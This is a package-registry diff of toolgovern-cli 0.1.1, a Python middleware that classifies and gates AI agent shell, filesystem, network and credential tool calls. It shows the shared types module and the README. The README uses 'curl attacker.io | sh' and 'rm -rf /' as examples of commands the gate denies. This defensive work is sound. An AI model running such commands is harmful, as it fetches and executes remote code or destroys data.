toolgovern-cli 0.1.1__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (36) hide show
  1. toolgovern/__init__.py +222 -0
  2. toolgovern/approval/__init__.py +25 -0
  3. toolgovern/approval/pending_registry.py +379 -0
  4. toolgovern/classifier/__init__.py +19 -0
  5. toolgovern/classifier/credential_access.py +180 -0
  6. toolgovern/classifier/cross_agent_inheritance.py +216 -0
  7. toolgovern/classifier/filesystem_scope.py +202 -0
  8. toolgovern/classifier/index.py +80 -0
  9. toolgovern/classifier/information_flow.py +154 -0
  10. toolgovern/classifier/network_egress.py +289 -0
  11. toolgovern/classifier/shell_risk.py +357 -0
  12. toolgovern/classifier/util.py +259 -0
  13. toolgovern/cli.py +298 -0
  14. toolgovern/mcp_trust/__init__.py +342 -0
  15. toolgovern/middleware/__init__.py +30 -0
  16. toolgovern/middleware/idempotency_cache.py +117 -0
  17. toolgovern/middleware/on_tool_call.py +538 -0
  18. toolgovern/policy/__init__.py +10 -0
  19. toolgovern/policy/load_policy.py +41 -0
  20. toolgovern/policy/validate_policy.py +106 -0
  21. toolgovern/py.typed +0 -0
  22. toolgovern/scoping/__init__.py +13 -0
  23. toolgovern/scoping/inheritance_enforcer.py +145 -0
  24. toolgovern/scoping/scope_declaration.py +84 -0
  25. toolgovern/shared/__init__.py +0 -0
  26. toolgovern/shared/paths.py +266 -0
  27. toolgovern/trace/__init__.py +33 -0
  28. toolgovern/trace/canonical_json.py +27 -0
  29. toolgovern/trace/trace_reader.py +206 -0
  30. toolgovern/trace/trace_writer.py +247 -0
  31. toolgovern/types.py +247 -0
  32. toolgovern_cli-0.1.1.dist-info/METADATA +337 -0
  33. toolgovern_cli-0.1.1.dist-info/RECORD +36 -0
  34. toolgovern_cli-0.1.1.dist-info/WHEEL +4 -0
  35. toolgovern_cli-0.1.1.dist-info/entry_points.txt +2 -0
  36. toolgovern_cli-0.1.1.dist-info/licenses/LICENSE +202 -0
toolgovern/types.py ADDED
@@ -0,0 +1,247 @@
1
+ """Shared types for the toolgovern middleware, classifier, scoping, and trace modules.
2
+
3
+ Ported from ``packages/toolgovern/src/types.ts``. A gate decision is always one of three
4
+ values -- there is no fourth "warn and continue" state, because a warning that does not
5
+ block execution is not governance, it is a log line.
6
+ """
7
+
8
+ from __future__ import annotations
9
+
10
+ from dataclasses import dataclass, field
11
+ from typing import (
12
+ Any,
13
+ Callable,
14
+ Dict,
15
+ List,
16
+ Literal,
17
+ Mapping,
18
+ Optional,
19
+ Protocol,
20
+ Sequence,
21
+ Union,
22
+ runtime_checkable,
23
+ )
24
+
25
+ Decision = Literal["allow", "deny", "require-approval"]
26
+
27
+ # Where an ``agent_id`` came from when a gate decision was made: ``"explicit"`` means the
28
+ # caller passed ``agent_id=`` to ``govern_tool()`` directly; ``"fallback"`` means no agent_id
29
+ # was supplied and toolgovern used its default (``"default-agent"``). This is provenance, not
30
+ # proof -- toolgovern does not cryptographically verify that a caller actually is the agent it
31
+ # claims to be (see docs/security-model.md, "Agent identity is caller-asserted, not
32
+ # cryptographically verified").
33
+ AgentIdSource = Literal["explicit", "fallback"]
34
+
35
+ # The v0.1-and-later risk-rule categories. TG06 (high-risk tool combinations across a session)
36
+ # and TG07 (retrying a denied call with modified arguments) are reserved names for two rule
37
+ # categories that still need cross-call session state this classifier does not yet keep, and
38
+ # have deliberately not been claimed here. TG08 (information-flow control) is per-call, needs no
39
+ # session state, and ships now -- see classifier/information_flow.py.
40
+ RuleCategory = Literal["TG01", "TG02", "TG03", "TG04", "TG05", "TG08"]
41
+
42
+ # A confidentiality label for information-flow-control (IFC) checks (TG08): a fixed, closed,
43
+ # ordered set from least to most sensitive -- "public" < "internal" < "confidential" <
44
+ # "restricted". See classifier/information_flow.py's module docstring for what a real IFC
45
+ # lattice would add that this deliberately does not.
46
+ ConfidentialityLabel = Literal["public", "internal", "confidential", "restricted"]
47
+
48
+ # A network scope value: False (no access), True (unrestricted), or an explicit hostname
49
+ # allowlist.
50
+ NetworkScope = Union[bool, Sequence[str]]
51
+
52
+
53
+ @dataclass(frozen=True)
54
+ class IfcPolicy:
55
+ """The caller-declared information-flow-control labeling for one agent's tool wrapping,
56
+ consumed by TG08 (``classifier/information_flow.py``). This is a hand-declared labeling
57
+ API, not automatic inference -- toolgovern has no way to know a resource's real
58
+ confidentiality level or a destination's real trust tier from a bare tool-call argument, so
59
+ TG08 only ever evaluates labels the caller explicitly declares here.
60
+
61
+ ``sources`` maps a resource identifier (whatever string a call's declared source argument
62
+ names) to the ``ConfidentialityLabel`` it carries. ``sink_trust`` maps a destination
63
+ identifier to the highest ``ConfidentialityLabel`` that destination is trusted to receive.
64
+ A destination absent from ``sink_trust`` is undeclared, not "declared untrusted" -- TG08
65
+ treats that as ambiguous and requires human approval, never a silent allow.
66
+ """
67
+
68
+ sources: Mapping[str, ConfidentialityLabel] = field(default_factory=dict)
69
+ sink_trust: Mapping[str, ConfidentialityLabel] = field(default_factory=dict)
70
+
71
+
72
+ @dataclass(frozen=True)
73
+ class ScopeDeclaration:
74
+ """A per-agent declared scope.
75
+
76
+ ``network`` is either ``False`` (no network access at all), ``True`` (unrestricted --
77
+ discouraged, but supported for local/dev use), or an explicit allowlist of hostnames.
78
+ ``filesystem`` is a list of path prefixes the agent may read/write/delete under.
79
+ ``credentials`` is a list of credential identifiers (file paths, secret names) the agent
80
+ may access. ``ifc``, when supplied, declares the confidentiality/trust labeling TG08
81
+ evaluates; ``None`` (the default) means TG08 never fires for this agent -- opt-in, not a
82
+ behavior change for existing callers who never declare it.
83
+ """
84
+
85
+ network: NetworkScope = False
86
+ filesystem: Sequence[str] = field(default_factory=tuple)
87
+ credentials: Sequence[str] = field(default_factory=tuple)
88
+ ifc: Optional[IfcPolicy] = None
89
+
90
+
91
+ @dataclass(frozen=True)
92
+ class RuleOverrides:
93
+ """Rule-level overrides a policy file can apply on top of the shipped rule pack defaults."""
94
+
95
+ disable: Sequence[str] = field(default_factory=tuple)
96
+ require_approval: Sequence[str] = field(default_factory=tuple)
97
+
98
+
99
+ @dataclass(frozen=True)
100
+ class Policy:
101
+ """A loaded (or inline) policy.
102
+
103
+ ``load_policy()`` returns this shape directly from a YAML file, and ``govern_tool()``
104
+ accepts it as-is -- so a policy loaded from disk and an inline options object are the same
105
+ type, which keeps the "wrap a tool" call site small.
106
+ """
107
+
108
+ scope: ScopeDeclaration
109
+ policy: Optional[str] = None
110
+ name: Optional[str] = None
111
+ rules: Optional[RuleOverrides] = None
112
+ default_decision: Decision = "allow"
113
+ agent_id: Optional[str] = None
114
+ session_id: Optional[str] = None
115
+ coordinator_id: Optional[str] = None
116
+
117
+
118
+ @dataclass(frozen=True)
119
+ class AgentScopeRecord:
120
+ """What the scoping registry recorded for one agent.
121
+
122
+ The scope it requested at spawn time (only meaningful for sub-agents) and the scope
123
+ actually granted after default-deny inheritance was applied against its coordinator's own
124
+ scope.
125
+ """
126
+
127
+ agent_id: str
128
+ session_id: str
129
+ granted_scope: ScopeDeclaration
130
+ coordinator_id: Optional[str] = None
131
+ requested_scope: Optional[ScopeDeclaration] = None
132
+
133
+
134
+ @runtime_checkable
135
+ class ScopeRegistryReader(Protocol):
136
+ """The minimal read surface TG05 needs from the scoping registry."""
137
+
138
+ def get_record(self, agent_id: str) -> Optional[AgentScopeRecord]: ...
139
+
140
+
141
+ @dataclass(frozen=True)
142
+ class RuleContext:
143
+ """The normalized input every classifier rule evaluates against."""
144
+
145
+ agent_id: str
146
+ session_id: str
147
+ tool: str
148
+ args: Mapping[str, Any]
149
+ scope: ScopeDeclaration
150
+ coordinator_id: Optional[str] = None
151
+ # Present only when the caller wired a ScopeRegistry into classify(); used by TG05.
152
+ scope_registry: Optional[ScopeRegistryReader] = None
153
+
154
+
155
+ @dataclass(frozen=True)
156
+ class RuleMatch:
157
+ """A single fired rule's result. ``decision`` is never ``"allow"`` -- a rule either fires
158
+ or it doesn't."""
159
+
160
+ rule_id: str
161
+ category: RuleCategory
162
+ decision: Decision
163
+ reason: str
164
+ matched_argument: Optional[str] = None
165
+
166
+
167
+ @runtime_checkable
168
+ class Rule(Protocol):
169
+ """A classifier rule: pure function from call context to an optional match."""
170
+
171
+ id: str
172
+ category: RuleCategory
173
+ description: str
174
+
175
+ def evaluate(self, ctx: RuleContext) -> Optional[RuleMatch]: ...
176
+
177
+
178
+ @dataclass(frozen=True)
179
+ class ClassifierResult:
180
+ """The classifier's aggregate verdict for one tool call."""
181
+
182
+ decision: Decision
183
+ fired_rules: Sequence[RuleMatch]
184
+
185
+
186
+ @dataclass(frozen=True)
187
+ class TraceEntryInput:
188
+ """What the caller supplies to ``TraceWriter.append()`` for one gate decision."""
189
+
190
+ session_id: str
191
+ agent_id: str
192
+ tool: str
193
+ args: Mapping[str, Any]
194
+ decision: Decision
195
+ rule_fired: Sequence[str]
196
+ declared_scope: ScopeDeclaration
197
+ approved_by: Optional[str] = None
198
+ agent_id_source: Optional[AgentIdSource] = None
199
+
200
+
201
+ @dataclass(frozen=True)
202
+ class TraceEntry:
203
+ """One append-only, signed trace record.
204
+
205
+ ``signature`` is either ``sha256:<hex>`` (an unkeyed content hash of everything except
206
+ ``signature`` itself -- the default) or ``hmac-sha256:<hex>`` (a keyed signature, when
207
+ ``TraceWriter`` is given a ``secret_key``). ``prior_trace_id`` chains this entry to the one
208
+ before it in the same session -- together these let a reader detect a missing, reordered,
209
+ or tampered entry.
210
+ """
211
+
212
+ trace_id: str
213
+ timestamp: str
214
+ session_id: str
215
+ agent_id: str
216
+ tool: str
217
+ arguments_hash: str
218
+ decision: Decision
219
+ rule_fired: Sequence[str]
220
+ declared_scope: ScopeDeclaration
221
+ signature: str
222
+ prior_trace_id: Optional[str]
223
+ agent_id_source: Optional[AgentIdSource] = None
224
+ approved_by: Optional[str] = None
225
+
226
+ def to_dict(self) -> Dict[str, Any]:
227
+ return {
228
+ "trace_id": self.trace_id,
229
+ "timestamp": self.timestamp,
230
+ "session_id": self.session_id,
231
+ "agent_id": self.agent_id,
232
+ "tool": self.tool,
233
+ "arguments_hash": self.arguments_hash,
234
+ "decision": self.decision,
235
+ "rule_fired": list(self.rule_fired),
236
+ "declared_scope": {
237
+ "network": self.declared_scope.network
238
+ if isinstance(self.declared_scope.network, bool)
239
+ else list(self.declared_scope.network),
240
+ "filesystem": list(self.declared_scope.filesystem),
241
+ "credentials": list(self.declared_scope.credentials),
242
+ },
243
+ "agent_id_source": self.agent_id_source,
244
+ "signature": self.signature,
245
+ "prior_trace_id": self.prior_trace_id,
246
+ "approved_by": self.approved_by,
247
+ }
@@ -0,0 +1,337 @@
1
+ Metadata-Version: 2.4
2
+ Name: toolgovern-cli
3
+ Version: 0.1.1
4
+ Summary: Runtime governance middleware for AI agent tool calls -- gate shell, filesystem, network, and credential access before a tool executes.
5
+ Project-URL: Homepage, https://github.com/RudrenduPaul/toolgovern
6
+ Project-URL: Repository, https://github.com/RudrenduPaul/toolgovern
7
+ Project-URL: Bug Tracker, https://github.com/RudrenduPaul/toolgovern/issues
8
+ Project-URL: Changelog, https://github.com/RudrenduPaul/toolgovern/blob/main/CHANGELOG.md
9
+ Project-URL: Documentation, https://github.com/RudrenduPaul/toolgovern/blob/main/docs/getting-started.md
10
+ Project-URL: Author - Rudrendu Paul, https://github.com/RudrenduPaul
11
+ Project-URL: Author - Sourav Nandy, https://github.com/Sourav-nandy-ai
12
+ Author: Rudrendu Paul, Sourav Nandy
13
+ License-Expression: Apache-2.0
14
+ License-File: LICENSE
15
+ Keywords: agent-governance,ai-agents,audit-trail,cli,mcp,runtime-security,security,tool-calling
16
+ Classifier: Development Status :: 3 - Alpha
17
+ Classifier: Environment :: Console
18
+ Classifier: Intended Audience :: Developers
19
+ Classifier: License :: OSI Approved :: Apache Software License
20
+ Classifier: Operating System :: OS Independent
21
+ Classifier: Programming Language :: Python :: 3
22
+ Classifier: Programming Language :: Python :: 3.9
23
+ Classifier: Programming Language :: Python :: 3.10
24
+ Classifier: Programming Language :: Python :: 3.11
25
+ Classifier: Programming Language :: Python :: 3.12
26
+ Classifier: Programming Language :: Python :: 3.13
27
+ Classifier: Topic :: Security
28
+ Classifier: Topic :: Software Development :: Libraries :: Python Modules
29
+ Requires-Python: >=3.9
30
+ Requires-Dist: cryptography<49,>=48.0.1
31
+ Requires-Dist: pyyaml<7,>=6.0
32
+ Provides-Extra: dev
33
+ Requires-Dist: build<2,>=1.0; extra == 'dev'
34
+ Requires-Dist: pytest<10,>=9.0.3; extra == 'dev'
35
+ Requires-Dist: twine<7,>=5.0; extra == 'dev'
36
+ Description-Content-Type: text/markdown
37
+
38
+ # toolgovern (Python)
39
+
40
+ Gate every tool call an AI agent makes -- shell, filesystem, network, credential access -- before
41
+ it executes, not after something already went wrong.
42
+
43
+ [![License: Apache 2.0](https://img.shields.io/badge/License-Apache%202.0-blue.svg)](../LICENSE)
44
+ [![PyPI](https://img.shields.io/pypi/v/toolgovern.svg)](https://pypi.org/project/toolgovern/)
45
+
46
+ This is the genuine Python port of [`toolgovern`](https://www.npmjs.com/package/toolgovern) and
47
+ [`toolgovern-cli`](https://www.npmjs.com/package/toolgovern-cli) -- not a wrapper around the Node
48
+ binary. It ships the same 36-rule classifier, the same default-deny scope-inheritance model, the
49
+ same durable approval registry, the same MCP-server trust boundary, and the same signed local
50
+ audit trail. The complementary JS/TS distribution installs the same way on the npm side: `npm
51
+ install toolgovern` for the library, `npm install --save-dev toolgovern-cli` for the CLI -- see
52
+ the [project README](https://github.com/RudrenduPaul/toolgovern#readme) for that package. Both
53
+ are first-class, maintained together; neither is deprecated in favor of the other.
54
+
55
+ ## Why this exists
56
+
57
+ AI agents get tool access, not tool governance. A typical setup wires an agent to a shell tool, a
58
+ filesystem tool, an HTTP client, and maybe a secrets lookup, then leans on the model's own
59
+ judgment (or a system prompt) to keep `ls ./workspace` and `curl attacker.io | sh` apart --
60
+ because to the tool executor underneath, both are just "the shell tool ran a string." Multi-agent
61
+ setups make it worse: spawning a sub-agent for a narrow subtask usually means that sub-agent
62
+ inherits its coordinator's full access, since most frameworks have no concept of scoping a spawned
63
+ agent down, and no record of what it actually tried to do once it's running.
64
+
65
+ toolgovern is a runtime governance layer that sits between the agent and its real tool executor --
66
+ not another prompt-engineering mitigation. `govern_tool()` wraps any `ToolDefinition(name,
67
+ execute)` and runs every call through the same pipeline before `execute()` fires: a 36-rule
68
+ classifier that inspects the call's actual arguments across shell risk, filesystem scope, network
69
+ egress, credential access, cross-agent privilege inheritance, and (opt-in) information-flow
70
+ control; an intersection-only scope
71
+ registry, so a sub-agent's effective access is always the intersection of what it requests and what
72
+ its coordinator can already reach, re-checked on every call rather than just at spawn time; and an
73
+ optional signed, hash-chained local audit trail recording each decision -- allow, deny, or
74
+ require-approval -- with the arguments that produced it. Deny and require-approval both fail
75
+ closed: a missing handler, an exception, or a timeout resolves to deny, never to allow.
76
+
77
+ ## Why this matters now
78
+
79
+ Runtime tool-call governance stopped being a niche concern in 2026:
80
+
81
+ - MCP tool poisoning and supply-chain risk are validated, incident-backed problems, not
82
+ hypotheticals: Invariant Labs formally named the tool-poisoning technique in April 2025, the
83
+ Postmark MCP npm package suffered an insider-attack BCC backdoor in September 2025, roughly a
84
+ third of 1,000 scanned MCP servers were found carrying a critical vulnerability, and Microsoft
85
+ disclosed a poisoned-MCP-tool-description attack technique in July 2026
86
+ ([The Hacker News](https://thehackernews.com/2026/06/microsoft-warns-poisoned-mcp-tool.html),
87
+ [Cloud Security Alliance](https://labs.cloudsecurityalliance.org/research/csa-research-note-mcp-security-crisis-20260504-csa-styled/),
88
+ [Practical DevSecOps](https://www.practical-devsecops.com/mcp-security-statistics-2026-report/)).
89
+ - Microsoft shipped its own open-source Agent Governance Toolkit in April 2026, a runtime policy
90
+ engine that intercepts agent actions before execution
91
+ ([opensource.microsoft.com](https://opensource.microsoft.com/blog/2026/04/02/introducing-the-agent-governance-toolkit-open-source-runtime-security-for-ai-agents/)).
92
+ It's an unrelated project, cited here only because it confirms that gating a tool call before
93
+ it runs is now a first-party concern industry-wide, not something only this project cares
94
+ about.
95
+ - Microsoft also merged AutoGen and Semantic Kernel into Microsoft Agent Framework 1.0 (GA
96
+ 2026-04-03), with first-class Python and .NET support under `Microsoft.Agents.AI`
97
+ ([devblogs.microsoft.com](https://devblogs.microsoft.com/agent-framework/microsoft-agent-framework-version-1-0/),
98
+ [github.com/microsoft/agent-framework](https://github.com/microsoft/agent-framework)) -- the
99
+ framework this package ships a real, source-available Python integration for (see
100
+ [Framework integrations](#framework-integrations)).
101
+ - LangGraph passed CrewAI in GitHub stars in early 2026 on the strength of enterprise adoption of
102
+ its graph-based architecture ([langchain.com](https://www.langchain.com/resources/ai-agent-frameworks))
103
+ -- another framework this package ships a real Python integration for, using the actual
104
+ `wrap_tool_call` hook.
105
+ - The Claude Agent SDK passed AutoGen in enterprise production-deployment count in early-to-mid
106
+ 2026, per the LangChain State of AI 2025 report, and ships a purpose-built `PreToolUse` hook --
107
+ exactly the hook this package's Claude Agent SDK integration wires `govern_tool()` into.
108
+ - Regulatory pressure on agentic AI is dated and real: the EU AI Act's high-risk obligations take
109
+ effect August 2026, the Colorado AI Act becomes enforceable June 2026, and OWASP published a
110
+ dedicated Top 10 for Agentic Applications for 2026.
111
+ - Google's A2A (Agent2Agent) protocol has crossed 150+ adopting organizations. Noted here as
112
+ ecosystem context, not a toolgovern capability -- this package governs a single agent's own tool
113
+ calls, not agent-to-agent protocol traffic.
114
+
115
+ None of this is a claim about toolgovern's own adoption. It's why gating a tool call before it
116
+ executes is worth doing at all right now.
117
+
118
+ ## Install
119
+
120
+ ```bash
121
+ pip install toolgovern
122
+ ```
123
+
124
+ or with [uv](https://docs.astral.sh/uv/):
125
+
126
+ ```bash
127
+ uv add toolgovern
128
+ ```
129
+
130
+ Or install straight from this repository:
131
+
132
+ ```bash
133
+ git clone https://github.com/RudrenduPaul/toolgovern.git
134
+ cd toolgovern/python
135
+ pip install .
136
+ ```
137
+
138
+ No separate install step and no external binary to fetch: the classifier, scoping
139
+ registry, approval registry, MCP-trust boundary, and trace engine all ship inside the one
140
+ package. The console script is `toolgovern-cli`, matching the npm CLI's command name.
141
+
142
+ ## Quick start
143
+
144
+ ```python
145
+ from toolgovern import ToolDefinition, GovernToolOptions, govern_tool, ScopeDeclaration, ToolGovernDenialError
146
+
147
+ def run_shell(args):
148
+ import subprocess
149
+ return subprocess.run(args["command"], shell=True, capture_output=True, text=True)
150
+
151
+ shell_tool = ToolDefinition(name="shell", execute=run_shell)
152
+ gated_shell = govern_tool(shell_tool, GovernToolOptions(scope=ScopeDeclaration()))
153
+
154
+ try:
155
+ gated_shell.execute({"command": "rm -rf /"})
156
+ except ToolGovernDenialError as e:
157
+ print(e) # denied before subprocess.run() ever runs
158
+ ```
159
+
160
+ Or load a policy file:
161
+
162
+ ```python
163
+ from toolgovern import load_policy, GovernToolOptions, govern_tool
164
+
165
+ policy = load_policy("./toolgovern.policy.yml")
166
+ gated_shell = govern_tool(shell_tool, GovernToolOptions.from_policy(policy))
167
+ ```
168
+
169
+ ## What it does
170
+
171
+ The classifier evaluates a tool call's actual arguments, not the tool's name, against 36 rules
172
+ across 6 categories:
173
+
174
+ | Category | Covers | Rules |
175
+ | -------- | --------------------------------- | ----- |
176
+ | TG01 | Shell/process execution risk | 9 |
177
+ | TG02 | Filesystem scope escalation | 7 |
178
+ | TG03 | Undeclared network egress | 7 |
179
+ | TG04 | Credential/secret access | 6 |
180
+ | TG05 | Cross-agent privilege inheritance | 6 |
181
+ | TG08 | Information-flow control (opt-in) | 1 |
182
+
183
+ TG03's 7th rule, `TG03-dns-resolves-private`, resolves a hostname argument via
184
+ `socket.getaddrinfo()` (honoring `/etc/hosts`) and applies the same loopback/RFC1918/link-local/
185
+ cloud-metadata deny logic already used for raw IP literals to every resolved address -- so a
186
+ hostname that merely _resolves to_ `127.0.0.1` or a cloud-metadata address is caught, not just a
187
+ raw IP literal argument. DNS-resolution failure or timeout fails closed (`require-approval`),
188
+ never allow. This narrows, but does not eliminate, DNS-rebinding TOCTOU: an attacker who controls
189
+ the hostname's DNS answer can still swap it after this check runs and before the tool's own HTTP
190
+ client connects -- see [`docs/security-model.md`](../docs/security-model.md) for the full, honest
191
+ writeup of that residual limitation and the still-open redirect-chain-revalidation gap.
192
+
193
+ `govern_tool()` wraps any `ToolDefinition(name, execute)` and returns a version that runs every
194
+ call through this pipeline before `execute()` runs: resolve the effective scope, classify the
195
+ call, resolve `require-approval` decisions through your handler (fail-closed on timeout,
196
+ exception, or no handler), write a trace entry if a `TraceWriter` is wired in, then raise
197
+ `ToolGovernDenialError` on `deny` or proceed to the real `execute()` on `allow`.
198
+
199
+ Per-agent scope inheritance (`ScopeRegistry`) is intersection-only: a sub-agent's granted scope
200
+ is always the intersection of what it requests and what its coordinator's own effective scope
201
+ actually covers -- never a union, never an implicit default-allow, and re-checked on every call
202
+ (not just at spawn time), so a coordinator's scope shrinking after a sub-agent was spawned is
203
+ caught on the sub-agent's next call.
204
+
205
+ ## Also in this package
206
+
207
+ - `PendingApprovalRegistry` / `resume_pending_approval()` -- a durable, alias-tolerant registry
208
+ for `require-approval` decisions that need resolving out-of-band (a Slack button click, a
209
+ review queue) instead of answered synchronously in-process inside the 30-second
210
+ `on_approval_required` callback. `pending_id`s are always server-generated, never
211
+ caller-supplied, so an unrecognized ID resolves to `"not-found"`, never a silently-created
212
+ fresh approval. `register_alias()` lets a second identifier (a provider-rotated thread ID)
213
+ resolve to the same pending approval, and a resolved call is re-classified against any edited
214
+ arguments rather than trusting the original request. In-memory by default; back it with real
215
+ durable storage for a deployment that spans processes.
216
+ - `is_origin_allowed()` / `verify_mcp_server_manifest()` / `assert_mcp_server_trusted()` -- an
217
+ MCP-server trust boundary checked once at connection time, distinct from the per-call
218
+ classifier above: an explicit origin allowlist (no implicit subdomain trust unless you opt in
219
+ with a leading `*.` entry) plus detached Ed25519/RSA-SHA256 manifest signature verification
220
+ against a pinned public-key list, before any tool the server declares is ever trusted. Fails
221
+ closed on every path -- an unreachable manifest, an unknown key ID, or a signature that doesn't
222
+ verify all deny, they don't warn. This port fetches the manifest synchronously via
223
+ `urllib.request` (`govern_tool()` is synchronous end to end in this port); the TS original uses
224
+ `fetch()`. Same checks, same fail-closed outcomes, different language-appropriate I/O plumbing.
225
+ - `IdempotencyCache` -- an opt-in claim-before-execute primitive so a retried call doesn't
226
+ re-execute a side effect (payments, emails, trades) that already happened.
227
+
228
+ ## API reference
229
+
230
+ Everything importable from `toolgovern` directly:
231
+
232
+ ```python
233
+ from toolgovern import (
234
+ # middleware
235
+ govern_tool, GovernToolOptions, ToolDefinition, ToolGovernDenialError, InvalidAgentIdError,
236
+ GateDecisionInfo, ApprovalOutcome, IdempotencyCache, IdempotencyOptions,
237
+ resume_pending_approval, ResumePendingApprovalOptions, PendingApprovalNotResolvableError,
238
+ # approval registry
239
+ PendingApprovalRegistry, PendingApproval, ApprovalResolutionDecision, PendingApprovalStatus,
240
+ ResolvePendingInput, ResolvePendingOutcome, ResolvePendingStatus,
241
+ PendingApprovalAliasConflictError, UnknownPendingApprovalError,
242
+ # mcp-server trust boundary
243
+ is_origin_allowed, verify_mcp_server_manifest, assert_mcp_server_trusted, McpTrustPolicy,
244
+ PinnedPublicKey, McpServerConnectionRequest, McpManifestEnvelope, McpTrustVerdict,
245
+ McpTrustDecision, McpTrustAlgorithm,
246
+ # classifier
247
+ classify, ClassifyOptions, rule_registry,
248
+ # scoping
249
+ ScopeRegistry, SpawnSubAgentParams, compute_inherited_scope, has_zero_capability,
250
+ is_valid_agent_id, is_valid_scope_declaration, normalize_scope, EMPTY_SCOPE,
251
+ # trace
252
+ TraceWriter, TraceWriterOptions, read_trace, filter_trace, verify_chain, parse_since,
253
+ canonical_json, compute_entry_signature, compute_entry_content_hash,
254
+ # policy
255
+ load_policy, validate_policy, as_policy, PolicyValidationError,
256
+ # types
257
+ ScopeDeclaration, Policy, RuleContext, RuleMatch, TraceEntry, TraceEntryInput,
258
+ AgentScopeRecord, Decision, RuleCategory, AgentIdSource, ConfidentialityLabel, IfcPolicy,
259
+ )
260
+ ```
261
+
262
+ ## CLI
263
+
264
+ ```bash
265
+ toolgovern-cli validate ./toolgovern.policy.yml
266
+ toolgovern-cli audit ./toolgovern-trace.jsonl --since 24h --decision deny --verify-chain
267
+ toolgovern-cli audit ./toolgovern-trace.jsonl --json
268
+ ```
269
+
270
+ `validate` and `audit` are behaviorally equivalent to the npm CLI, including the `--json`
271
+ structured-output envelope (`{ ok, command, data | error }`). **Not ported in this release:**
272
+ `toolgovern-cli init [oma|langgraph]`, the npm CLI's TypeScript integration-file scaffolder --
273
+ it generates a `.ts` file importing the JS/TS-only `toolgovern-integration-langgraph` /
274
+ `toolgovern-integration-oma` packages, which are out of scope for a Python port by nature.
275
+
276
+ ## The signed audit trail
277
+
278
+ ```python
279
+ from toolgovern import TraceWriter, TraceWriterOptions, verify_chain, read_trace
280
+
281
+ # Default: unkeyed sha256: content hash -- proves an entry hasn't changed since it was written,
282
+ # but does not stop an attacker with write access to the trace file from editing an entry and
283
+ # recomputing a valid signature (no secret required for that scheme).
284
+ writer = TraceWriter("./toolgovern-trace.jsonl")
285
+
286
+ # Optional: HMAC-keyed signing closes that gap for anyone who doesn't hold the key. toolgovern
287
+ # does not generate, store, or rotate this key -- that's your responsibility.
288
+ writer = TraceWriter("./toolgovern-trace.jsonl", TraceWriterOptions(secret_key=b"..."))
289
+
290
+ entries = read_trace("./toolgovern-trace.jsonl")
291
+ result = verify_chain(entries) # or verify_chain(entries, VerifyChainOptions(secret_key=b"..."))
292
+ ```
293
+
294
+ See [docs/security-model.md](https://github.com/RudrenduPaul/toolgovern/blob/main/docs/security-model.md)
295
+ for the full disclosed-limitations writeup of both signing modes.
296
+
297
+ ## Framework integrations
298
+
299
+ `toolgovern-integration-langgraph` and `toolgovern-integration-oma` are npm-only TypeScript
300
+ packages and are not ported to this Python distribution. Both are thin wrappers around
301
+ `governTool()` in the TS source, so wiring `govern_tool()` directly into a Python agent
302
+ framework's tool-executor call site is straightforward without a dedicated adapter package.
303
+
304
+ Five real Python framework integrations exist in this repository, each wiring `govern_tool()`
305
+ into a framework's actual hook rather than a generic wrapper: LangGraph (Python, using the real
306
+ `wrap_tool_call` `ToolNode` parameter), CrewAI, AutoGen, Microsoft Agent Framework, and the Claude
307
+ Agent SDK (using its real `PreToolUse` hook). None of these five are published to a package
308
+ registry yet -- each is available from source under
309
+ [`integrations/`](https://github.com/RudrenduPaul/toolgovern/tree/main/integrations) in the main
310
+ repo, with its own README and worked example. `examples/` in this directory also has a minimal,
311
+ framework-agnostic worked example wiring `govern_tool()` into a plain tool executor.
312
+
313
+ ## Development
314
+
315
+ ```bash
316
+ python3 -m venv .venv && source .venv/bin/activate
317
+ pip install -e ".[dev]"
318
+ pytest
319
+ ```
320
+
321
+ ## Security
322
+
323
+ Report a vulnerability per the project's [`SECURITY.md`](https://github.com/RudrenduPaul/toolgovern/blob/main/SECURITY.md); please don't open a public issue for one.
324
+
325
+ ## Links
326
+
327
+ - [GitHub repository](https://github.com/RudrenduPaul/toolgovern)
328
+ - [npm package (core library)](https://www.npmjs.com/package/toolgovern)
329
+ - [npm package (CLI)](https://www.npmjs.com/package/toolgovern-cli)
330
+ - [CHANGELOG](https://github.com/RudrenduPaul/toolgovern/blob/main/CHANGELOG.md)
331
+ - [Getting started](https://github.com/RudrenduPaul/toolgovern/blob/main/docs/getting-started.md)
332
+ - [Concepts](https://github.com/RudrenduPaul/toolgovern/blob/main/docs/concepts.md)
333
+ - [Security model](https://github.com/RudrenduPaul/toolgovern/blob/main/docs/security-model.md)
334
+
335
+ ## License
336
+
337
+ Apache 2.0 -- see [LICENSE](../LICENSE).
@@ -0,0 +1,36 @@
1
+ toolgovern/__init__.py,sha256=dO-t1nCBFAO7Cbah8bkGfWRd53t62tYe17MLzDkREZg,6218
2
+ toolgovern/cli.py,sha256=ewNDd0uAaGeSsPVf8KwnQzPM8jNTkUxMvDqT_lbL6eg,11780
3
+ toolgovern/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
4
+ toolgovern/types.py,sha256=n9TNZHoOPv8EjETmqgsQ9Q3ks3ZtKb3NlhyRCAxfg7g,9116
5
+ toolgovern/approval/__init__.py,sha256=4xEGv51n7hoju4RxSxY-2uI55j5qrlccsScB4bOfqt4,649
6
+ toolgovern/approval/pending_registry.py,sha256=gi6D4tzK82T9VxP74TkrqL3dEJQJ_b2YZA_S5BCXngc,18120
7
+ toolgovern/classifier/__init__.py,sha256=5pVHIakh51ktRbTqZVrn9ynHEA5fgVCnnDL29TxqzJc,633
8
+ toolgovern/classifier/credential_access.py,sha256=HXYKxluVmM_Pof3f1GUR_YIEIVyqSeVH0hK-clhueTo,6818
9
+ toolgovern/classifier/cross_agent_inheritance.py,sha256=5THbBnCwtZODn8EkR_h2dZuhMwDAY01NgYkATPzbNjU,8961
10
+ toolgovern/classifier/filesystem_scope.py,sha256=X-QCYTXWGRPNjeMwoOt0yzZvNYua3zsnPbcWUFzxiTc,7291
11
+ toolgovern/classifier/index.py,sha256=Db5OWjAj4wJWhACl8d54ZN0R9QVJTEo2J4BvCvZpvhc,2873
12
+ toolgovern/classifier/information_flow.py,sha256=pAdN803s7S9T8GTctiIrvom9blaFBjRFwGiaPqBjlV4,6810
13
+ toolgovern/classifier/network_egress.py,sha256=owYMj7rF0wy4GxSgx0IuRAePtZTWh1Y2oj9UGwg2XQA,11908
14
